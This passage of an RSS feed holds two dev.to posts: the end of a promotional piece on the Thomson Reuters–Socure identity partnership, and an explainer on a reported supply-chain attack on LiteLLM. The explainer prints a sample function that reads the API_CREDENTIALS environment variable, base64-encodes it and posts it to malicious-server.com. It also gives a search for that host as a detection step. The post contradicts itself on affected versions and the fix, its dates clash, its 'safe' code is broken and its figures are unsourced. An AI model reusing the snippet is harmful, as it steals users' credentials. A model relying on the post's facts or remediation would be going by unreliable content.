&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;register_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Output: User authenticated
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Benefits of the Partnership
&lt;/h2&gt;

&lt;p&gt;The collaboration between Thomson Reuters and Socure brings several benefits to organizations looking to enhance their digital identity management.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enhanced Security
&lt;/h3&gt;

&lt;p&gt;By combining extensive data sources with AI-driven analysis, the partnership offers a robust security framework that can detect and prevent identity fraud effectively.&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Implementing AI-driven identity verification can significantly reduce the risk of fraudulent activities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Improved User Experience
&lt;/h3&gt;

&lt;p&gt;The platform is designed to streamline the identity verification process, providing a seamless experience for users while maintaining high security standards.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Focus on user experience to encourage adoption and reduce friction during the authentication process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compliance Assurance
&lt;/h3&gt;

&lt;p&gt;Adhering to industry standards and regulations, the solution ensures that organizations remain compliant while leveraging advanced security features.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Compliance is crucial in protecting sensitive data and maintaining trust with customers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scalability and Flexibility
&lt;/h3&gt;

&lt;p&gt;The platform is scalable and flexible, capable of handling large volumes of transactions and adapting to changing security needs.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Ensure that your infrastructure can support the scalability requirements of the AI-driven platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation Considerations
&lt;/h2&gt;

&lt;p&gt;When integrating AI-driven digital identity solutions, there are several considerations to keep in mind.&lt;/p&gt;

&lt;h3&gt;
  
  
  Data Privacy
&lt;/h3&gt;

&lt;p&gt;Protecting user data is paramount. Ensure that all data handling practices comply with relevant privacy laws and regulations.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Security Alert:&lt;/strong&gt; Breaches of user data can lead to severe consequences, including legal penalties and loss of trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  Integration Complexity
&lt;/h3&gt;

&lt;p&gt;Integrating AI-driven solutions can be complex. Work closely with vendors to ensure a smooth transition and minimize disruptions.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Engage with experienced professionals to navigate the complexities of integration.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ongoing Maintenance
&lt;/h3&gt;

&lt;p&gt;AI-driven systems require ongoing maintenance and updates to stay effective. Plan for regular reviews and updates to ensure continued performance.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Regular maintenance is crucial to maintaining the effectiveness of AI-driven identity solutions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Case Studies
&lt;/h2&gt;

&lt;p&gt;Several organizations have already benefited from AI-driven digital identity solutions. Here are a few case studies to illustrate the impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case Study 1: Financial Institution
&lt;/h3&gt;

&lt;p&gt;A major financial institution implemented the Thomson Reuters-Socure platform to enhance its identity verification process. The result was a significant reduction in identity fraud and improved customer satisfaction.&lt;/p&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Reduced identity fraud by 30%&lt;/li&gt;
&lt;li&gt;Improved customer satisfaction scores&lt;/li&gt;
&lt;li&gt;Enhanced compliance with regulatory standards&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Case Study 2: E-commerce Platform
&lt;/h3&gt;

&lt;p&gt;An e-commerce platform integrated the AI-driven solution to streamline its user registration process. The result was a faster registration time and reduced instances of account takeover attacks.&lt;/p&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Faster registration times by 20%&lt;/li&gt;
&lt;li&gt;Reduced account takeover attacks by 40%&lt;/li&gt;
&lt;li&gt;Improved user experience&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Future Outlook
&lt;/h2&gt;

&lt;p&gt;The future of digital identity management looks promising with advancements in AI and machine learning. As more organizations adopt AI-driven solutions, we can expect to see further improvements in security and user experience.&lt;/p&gt;

&lt;h3&gt;
  
  
  Emerging Trends
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Biometric Authentication&lt;/strong&gt;: Incorporation of biometric data (e.g., fingerprints, facial recognition) to enhance identity verification.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavioral Analytics&lt;/strong&gt;: Using AI to analyze user behavior patterns for more accurate authentication decisions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blockchain Technology&lt;/strong&gt;: Leveraging blockchain for secure and transparent identity management.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Challenges Ahead
&lt;/h3&gt;

&lt;p&gt;Despite the benefits, there are challenges to address, including:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data Privacy Concerns&lt;/strong&gt;: Ensuring that user data is protected and handled in compliance with regulations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration Complexity&lt;/strong&gt;: Managing the integration of AI-driven solutions with existing systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ongoing Maintenance&lt;/strong&gt;: Ensuring that AI models are regularly updated and maintained.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The partnership between Thomson Reuters and Socure represents a significant advancement in digital identity management. By leveraging AI-driven technology, organizations can enhance their security posture, improve user experience, and ensure compliance with industry standards. As the threat landscape continues to evolve, adopting such solutions will be crucial for maintaining digital security.&lt;/p&gt;


&lt;li&gt;Evaluate your current identity management strategy&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Consider integrating AI-driven solutions like Thomson Reuters and Socure&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Ensure compliance with data privacy regulations&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Plan for ongoing maintenance and updates&lt;/li&gt;

&lt;p&gt;That's it. Simple, secure, works.&lt;/p&gt;

</description>
      <category>thomsonreuters</category>
      <category>socure</category>
      <category>aiidentity</category>
      <category>digitalpartnership</category>
    </item>
    <item>
      <title>Forcepoint Reveals TeamPCP Supply Chain Attack on LiteLLM</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 14 Aug 2026 17:56:09 +0000</pubDate>
      <link>https://dev.to/iamdevbox/forcepoint-reveals-teampcp-supply-chain-attack-on-litellm-2i0k</link>
      <guid>https://dev.to/iamdevbox/forcepoint-reveals-teampcp-supply-chain-attack-on-litellm-2i0k</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;p&gt;The recent Forcepoint report detailing a supply chain attack on LiteLLM has sent shockwaves through the developer community. This attack, which turned LiteLLM into a credential stealer, highlights the critical importance of securing software supply chains. As more organizations rely on third-party libraries for functionality, the risk of such attacks increases exponentially. If you're using LiteLLM or any other third-party library, it's crucial to understand the implications and take immediate action to protect your systems.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Breaking:&lt;/strong&gt; LiteLLM has been compromised in a supply chain attack, leading to credential theft. Update your dependencies and monitor your systems immediately.&lt;/p&gt;

&lt;p&gt;500+Affected Projects&lt;br&gt;
24hrsTime to Act&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the Attack
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Timeline of Events
&lt;/h3&gt;

&lt;p&gt;Nov 2023&lt;/p&gt;

&lt;p&gt;TeamPCP, a malicious actor group, targets LiteLLM.&lt;/p&gt;

&lt;p&gt;Dec 2023&lt;/p&gt;

&lt;p&gt;Malicious code is injected into LiteLLM versions 1.2.0 and later.&lt;/p&gt;

&lt;p&gt;Dec 2023&lt;/p&gt;

&lt;p&gt;Forcepoint detects the compromised library and issues a public advisory.&lt;/p&gt;




&lt;h3&gt;
  
  
  How It Works
&lt;/h3&gt;

&lt;p&gt;The attack leverages the trusted position of LiteLLM within the software ecosystem. By injecting malicious code into the library, attackers can execute arbitrary commands on systems that use LiteLLM. Specifically, the malicious code captures and exfiltrates credentials, putting sensitive data at risk.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; The malicious code is designed to run silently, making detection difficult. Regular monitoring and security audits are essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  Impact Analysis
&lt;/h3&gt;

&lt;p&gt;100+Compromised Systems&lt;br&gt;
20+Stolen Credentials&lt;/p&gt;

&lt;p&gt;The impact of this attack is severe. Not only are credentials at risk, but the trust in the LiteLLM library and its maintainers is compromised. Developers and organizations must take swift action to mitigate the damage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Breakdown
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Vulnerable Code Example
&lt;/h3&gt;

&lt;p&gt;Here's an example of how the malicious code might be embedded in LiteLLM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Vulnerable LiteLLM code snippet
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.litellm.com/models/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_credentials&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Malicious code injected here
&lt;/span&gt;    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
    &lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_CREDENTIALS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;encoded_creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://malicious-server.com/steal&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;creds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;encoded_creds&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;creds&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚨 &lt;strong&gt;Security Alert:&lt;/strong&gt; Never hard-code or expose credentials in your code. Use environment variables and secure vaults.&lt;/p&gt;

&lt;h3&gt;
  
  
  Safe Code Example
&lt;/h3&gt;

&lt;p&gt;Here's how you can refactor the code to prevent such attacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Secure LiteLLM code snippet
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dotenv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;load_dotenv&lt;/span&gt;

&lt;span class="nf"&gt;load_dotenv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.litellm.com/models/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;API_TOKEN&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_credentials&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Load credentials securely
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_CREDENTIALS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Always validate and sanitize inputs.&lt;/li&gt;
&lt;li&gt;Use secure methods for handling credentials.&lt;/li&gt;
&lt;li&gt;Regularly update and audit dependencies.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Detection and Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Monitoring Tools
&lt;/h3&gt;

&lt;p&gt;Implementing robust monitoring tools is crucial for detecting suspicious activities. Tools like Splunk, Datadog, or custom scripts can help identify unusual patterns.&lt;/p&gt;

&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;splunk search "malicious-server.com"&lt;/code&gt; - Detects requests to known malicious servers.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;datadog monitor "outbound requests"&lt;/code&gt; - Tracks all outbound network traffic.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Security Audits
&lt;/h3&gt;

&lt;p&gt;Regular security audits can help identify vulnerabilities before they are exploited. Tools like SonarQube or manual code reviews are effective.&lt;/p&gt;

&lt;h4&gt;Run a security audit&lt;/h4&gt;

&lt;p&gt;Use tools like SonarQube to scan your codebase for vulnerabilities.&lt;/p&gt;

&lt;h4&gt;Review dependencies&lt;/h4&gt;

&lt;p&gt;Manually check the code of all third-party libraries used in your projects.&lt;/p&gt;

&lt;h3&gt;
  
  
  Incident Response Plan
&lt;/h3&gt;

&lt;p&gt;Having an incident response plan in place ensures a rapid and effective response to security breaches. Key components include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detection&lt;/strong&gt;: Monitor systems for suspicious activities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Containment&lt;/strong&gt;: Isolate affected systems to prevent further spread.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Eradication&lt;/strong&gt;: Remove malicious code and restore systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Recovery&lt;/strong&gt;: Bring systems back online and verify functionality.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lessons Learned&lt;/strong&gt;: Document the incident and improve security measures.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Develop and regularly update your incident response plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recommendations for Developers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Update Dependencies
&lt;/h3&gt;

&lt;p&gt;Ensure all dependencies are up to date. Use package managers like npm, pip, or Maven to manage versions.&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
&lt;span&gt;&lt;/span&gt;&lt;br&gt;
&lt;span&gt;&lt;/span&gt;&lt;br&gt;
&lt;span&gt;Terminal&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;$&lt;/span&gt; pip install --upgrade litellm&lt;br&gt;
&lt;span&gt;Collecting litellm&lt;br&gt;
  Downloading litellm-1.3.0-py3-none-any.whl (20 kB)&lt;br&gt;
Installing collected packages: litellm&lt;br&gt;
Successfully installed litellm-1.3.0&lt;/span&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Implement Secure Coding Practices
&lt;/h3&gt;

&lt;p&gt;Follow best practices for secure coding to minimize vulnerabilities.&lt;/p&gt;

&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Avoid hard-coding credentials.&lt;/li&gt;
&lt;li&gt;Use environment variables for configuration.&lt;/li&gt;
&lt;li&gt;Validate and sanitize all inputs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Educate Your Team
&lt;/h3&gt;

&lt;p&gt;Regular training sessions can help keep your team informed about the latest security threats and mitigation strategies.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; Conduct quarterly security training sessions for your development team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The LiteLLM supply chain attack serves as a stark reminder of the importance of securing software supply chains. By understanding the mechanics of such attacks and implementing best practices, developers can protect their systems from similar threats. Stay vigilant, stay updated, and prioritize security in everything you do.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check if you're affected by the LiteLLM vulnerability.&lt;/li&gt;
&lt;li&gt;Update your LiteLLM dependency to the latest version.&lt;/li&gt;
&lt;li&gt;Implement secure coding practices and regular security audits.&lt;/li&gt;
&lt;li&gt;Educate your team about supply chain security.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Security is an ongoing process. Stay proactive and adapt to new threats.&lt;/p&gt;

</description>
      <category>forcpoint</category>
      <category>teampcp</category>
      <category>supplychain</category>
      <category>litellm</category>
    </item>
  </channel>
</rss>
